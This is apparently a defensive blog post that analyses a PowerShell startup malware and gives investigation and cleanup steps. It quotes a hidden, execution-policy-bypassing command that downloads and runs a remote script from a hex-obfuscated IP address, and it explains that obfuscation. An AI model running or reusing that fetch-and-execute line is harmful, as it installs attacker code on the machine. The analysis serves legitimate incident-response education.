PowerShell Opening Automatically on Startup? Here’s How I Found and Removed a Hidden Scheduled Task Malware

PowerShell Opening Automatically on Startup? Here’s How I Found and Removed a Hidden Scheduled Task Malware

PowerShell Opening Automatically on Startup? Here’s How I Found and Removed a Hidden Scheduled Task Malware

🚨 If You See This Suspicious PowerShell Command – Read This Immediately

If you noticed a hidden PowerShell window, unexpected startup behavior, or strange registry entries, especially involving a command like the one below, your system may have executed a remote script silently in memory.

⚠ Suspicious PowerShell Command


powershell.exe -NoP -Exec Bypass -W Hidden -Command "iex(irm 0xc0.0x6d.0xc8.0x3f/event)"

🔎 Deep Technical Breakdown

1️⃣ Launches PowerShell


powershell.exe

This starts a new PowerShell process. Attackers often use PowerShell because it is trusted and already installed on Windows systems.

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2️⃣ Skips Profile Loading


-NoP

This prevents loading user profile scripts, reducing logging traces and bypassing custom security configurations.

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3️⃣ Bypasses Execution Policy


-Exec Bypass

This ignores PowerShell’s execution policy restrictions, allowing unsigned or malicious scripts to run.

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4️⃣ Runs Hidden


-W Hidden

Executes the command in a hidden window, so the user sees no visible activity.

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5️⃣ Downloads and Executes Remote Script


iex(irm 0xc0.0x6d.0xc8.0x3f/event)

irm (Invoke-RestMethod) downloads remote content.
iex (Invoke-Expression) executes it immediately in memory.

⚠ This is a classic fileless malware technique.

🧠 Why Attackers Use This Method

  • No file is saved to disk
  • Evades traditional antivirus detection
  • Uses trusted Windows binaries (Living Off The Land)
  • Harder to detect without proper logging enabled

📍 The IP Address Trick Explained

The IP 0xc0.0x6d.0xc8.0x3f is written in hexadecimal format.

Converted to decimal, it equals:


192.109.200.63

Attackers use hexadecimal IP format to bypass basic URL filters and detection systems.

🛑 Possible Risks If Executed

  • Backdoor installation
  • Credential theft
  • Browser password dumping
  • Crypto mining malware
  • Ransomware deployment
  • Data exfiltration

🔍 Advanced Investigation Steps

Check Event Logs for PowerShell Activity


Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational"

Check Scheduled Tasks


schtasks /query /fo LIST /v

Check Active Network Connections


netstat -ano

Check Recently Created Files


Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | 
Where-Object { $_.CreationTime -gt (Get-Date).AddDays(-2) }

🛡 Immediate Response Plan

  1. Disconnect from internet immediately
  2. Run full Windows Defender offline scan
  3. Enable PowerShell logging
  4. Reset all passwords (especially browser & email)
  5. Check for unauthorized accounts
  6. Backup important data safely

🔐 Enable PowerShell Logging (Recommended)


Set-ExecutionPolicy RemoteSigned

Also enable Script Block Logging via Group Policy:


Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on PowerShell Script Block Logging

🧩 Indicators of Compromise (IOCs)

  • Unknown scheduled tasks
  • Strange registry Run entries
  • Hidden PowerShell processes
  • Unusual outbound traffic
  • Browser extensions installed without permission

📢 Prevention Tips

  • Do not install cracked or pirated software
  • Keep Windows updated
  • Enable Windows Defender Tamper Protection
  • Use a firewall with outbound monitoring
  • Disable PowerShell if not required

📌 Final Advice

PowerShell is powerful — and attackers abuse that power.
If you ever see hidden execution with -Exec Bypass and iex(irm), treat it as suspicious immediately.

Early detection can prevent serious compromise.

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